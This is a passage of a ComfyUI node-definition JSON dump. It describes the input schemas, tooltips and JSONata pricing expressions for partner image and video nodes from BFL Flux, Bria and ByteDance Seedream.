"experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProFillNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "prompt_upsampling", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProFillNode", "display_name": "Flux.1 Fill Image", "description": "Inpaints image based on mask and prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxEraseNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {"tooltip": "White areas are removed; black areas are preserved."}], "dilate_pixels": ["INT", {"tooltip": "Expands the mask boundaries to ensure clean coverage of the object's edges.", "default": 10, "min": 0, "max": 25}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "dilate_pixels"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxEraseNode", "display_name": "Flux Erase Image", "description": "Removes the masked object from an image and reconstructs the background. Paint the mask over what you want to erase.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.03,\"max_usd\":0.06,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxVTONode": {"input": {"required": {"person": ["IMAGE", {"tooltip": "Image of the person to dress."}], "garment": ["IMAGE", {"tooltip": "Image of the garment to apply."}], "prompt": ["STRING", {"tooltip": "Optional natural-language styling instruction (e.g. how the garment should fit).", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["person", "garment", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxVTONode", "display_name": "Flux Virtual Try-On", "description": "Virtual try-on: dresses the person in the provided garment.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.0375,\"max_usd\":0.075,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ProImageNode", "display_name": "Flux.2 [pro] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.03 + 0.015 * ($outMP - 1);\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.015,\n \"max_usd\": $outputCost + 0.12,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2MaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2MaxImageNode", "display_name": "Flux.2 [max] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.07 + 0.03 * ($outMP - 1);\n\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.03,\n \"max_usd\": $outputCost + 0.24,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Flux.2 [pro]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "Flux.2 [max]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ImageNode", "display_name": "Flux.2 Image", "description": "Generate images via Flux.2 [pro] or Flux.2 [max] from a prompt and optional reference images.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.width", "type": "INT"}, {"name": "model.height", "type": "INT"}], "inputs": [], "input_groups": ["model.images"]}, "expr": "\n (\n $isMax := widgets.model = \"flux.2 [max]\";\n $MP := 1024 * 1024;\n $w := $lookup(widgets, \"model.width\");\n $h := $lookup(widgets, \"model.height\");\n $outMP := $max([1, $floor((($w * $h) + $MP - 1) / $MP)]);\n $outputCost := $isMax\n ? (0.07 + 0.03 * ($outMP - 1))\n : (0.03 + 0.015 * ($outMP - 1));\n $refMin := $isMax ? 0.03 : 0.015;\n $refMax := $isMax ? 0.24 : 0.12;\n $hasRefs := $lookup(inputGroups, \"model.images\") > 0;\n $hasRefs\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $outputCost + $refMin,\n \"max_usd\": $outputCost + $refMax,\n \"format\": { \"approximate\": true }\n }\n : {\"type\": \"usd\", \"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["FIBO"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Instruction to edit image", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "structured_prompt": ["STRING", {"tooltip": "A string containing the structured edit prompt in JSON format. Use this instead of usual prompt for precise, programmatic control.", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 1, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely.", "default": 3, "min": 3, "max": 5, "step": 0.01, "display": "number"}], "steps": ["INT", {"default": 50, "min": 20, "max": 50, "step": 1, "display": "number"}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"prompt_content_moderation": ["BOOLEAN", {"default": false}], "visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}]}, "optional": {"mask": ["MASK", {"tooltip": "If omitted, the edit applies to the entire image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "negative_prompt", "structured_prompt", "seed", "guidance_scale", "steps", "moderation"], "optional": ["mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "structured_prompt"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaImageEditNode", "display_name": "Bria FIBO Image Edit", "description": "Edit images using Bria latest model", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveImageBackground": {"input": {"required": {"image": ["IMAGE", {}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "moderation", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveImageBackground", "display_name": "Bria Remove Image Background", "description": "Remove the background from an image using Bria RMBG 2.0.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.018}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "background_color": ["COMBO", {"tooltip": "Background color for the output video.", "multiselect": false, "options": ["Black", "White", "Gray", "Red", "Green", "Blue", "Yellow", "Cyan", "Magenta", "Orange"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "background_color", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveVideoBackground", "display_name": "Bria Remove Video Background", "description": "Remove the background from a video using Bria. ", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoGreenScreen": {"input": {"required": {"video": ["VIDEO", {}], "green_shade": ["COMBO", {"tooltip": "Solid chroma-key shade applied behind the foreground: broadcast_green (#00B140), chroma_green (#00FF00), or blue_screen (#0000FF).", "multiselect": false, "options": ["broadcast_green", "chroma_green", "blue_screen"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "green_shade", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoGreenScreen", "display_name": "Bria Video Green Screen", "description": "Replace a video's background with a solid chroma-key screen using Bria.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoReplaceBackground": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Foreground video whose background is replaced."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"background_image": ["IMAGE", {"tooltip": "Background image to composite behind the foreground. Provide either a background image or a background video, not both."}], "background_video": ["VIDEO", {"tooltip": "Background video to composite behind the foreground. Provide either a background image or a background video, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "optional": ["background_image", "background_video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoReplaceBackground", "display_name": "Bria Video Replace Background", "description": "Replace a video's background with a supplied image or video using Bria. The output keeps the foreground's resolution and frame rate; a background with a different aspect ratio is stretched to fit, so match it for undistorted results.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaTransparentVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["images", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaTransparentVideoBackground", "display_name": "Bria Remove Video Background (Transparent)", "description": "Remove the background from a video using Bria and return the cut-out frames plus an alpha mask. Connect both to a compositing node, or feed them to Save WEBM to write a transparent video.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream-3-0-t2i-250415"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below", "multiselect": false, "options": ["1024x1024 (1:1)", "864x1152 (3:4)", "1152x864 (4:3)", "1280x720 (16:9)", "720x1280 (9:16)", "832x1248 (2:3)", "1248x832 (3:2)", "1512x648 (21:9)", "2048x2048 (1:1)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely", "default": 2.5, "min": 1.0, "max": 10.0, "step": 0.01, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset", "width", "height"], "optional": ["seed", "guidance_scale", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageNode", "display_name": "ByteDance Image", "description": "Generate images using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream 5.0 lite", "seedream-4-5-251128", "seedream-4-0-250828"]}], "prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["2048x2048 (1:1)", "2304x1728 (4:3)", "1728x2304 (3:4)", "2560x1440 (16:9)", "1440x2560 (9:16)", "2496x1664 (3:2)", "1664x2496 (2:3)", "3024x1296 (21:9)", "3072x3072 (1:1)", "4096x4096 (1:1)", "Custom"]}]}, "optional": {"image": ["IMAGE", {"tooltip": "Input image(s) for image-to-image generation. Reference image(s) for single or multi-reference generation."}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "sequential_image_generation": ["COMBO", {"tooltip": "Group image generation mode. 'disabled' generates a single image. 'auto' lets the model decide whether to generate multiple related images (e.g., story scenes, character variations).", "multiselect": false, "options": ["disabled", "auto"]}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate when sequential_image_generation='auto'. Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 15, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset"], "optional": ["image", "width", "height", "sequential_image_generation", "max_images", "seed", "watermark", "fail_on_partial"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNode", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "seedream 5.0 lite", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(3K) 3072x3072 (1:1)", "(3K) 2592x3456 (3:4)", "(3K) 3456x2592 (4:3)", "(3K) 4096x2304 (16:9)", "(3K) 2304x4096 (9:16)", "(3K) 2496x3744 (2:3)", "(3K) 3744x2496 (3:2)", "(3K) 4704x2016 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 14, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 14 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", 